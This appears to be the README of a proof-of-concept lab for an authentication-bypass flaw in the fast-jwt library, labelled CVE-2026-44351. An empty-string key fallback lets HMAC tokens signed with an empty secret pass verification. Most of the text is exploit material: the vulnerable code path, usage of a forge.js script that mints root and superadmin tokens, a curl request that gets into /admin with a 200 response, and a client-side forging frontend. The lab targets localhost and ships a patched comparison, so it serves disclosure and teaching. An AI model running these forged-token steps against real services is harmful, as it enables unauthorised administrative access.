const verify = createVerifier({
  // patron JWKS estandar documentado por la propia libreria
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // rama !publicKeyPemMatch && !X509  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (sin control de longitud)
  verifyToken(currentKey, decoded, validationContext)
})

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target listo

node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

node forge.js                          # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt          # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

npm run demo        # [email protected] -> token forjado ACEPTADO
npm run fixed       # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)

docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

node server.js            # o de nuevo: docker compose up -d --build server
open http://localhost:3000

.
├── Dockerfile            Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml    Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore         Excluye node_modules del build context
├── package.json          Dependencias: [email protected] (vulnerable)
├── server.js             API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js              UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js               Demo a nivel de librería contra [email protected] (vulnerable)
├── public/               Frontend "app real" (login, dashboard, admin, red team)
│   ├── index.html
│   ├── styles.css
│   └── app.js            SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│   └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
    ├── package.json      Dependencias: [email protected] (parcheada)
    └── demo.js           Misma demo contra [email protected] (parcheado)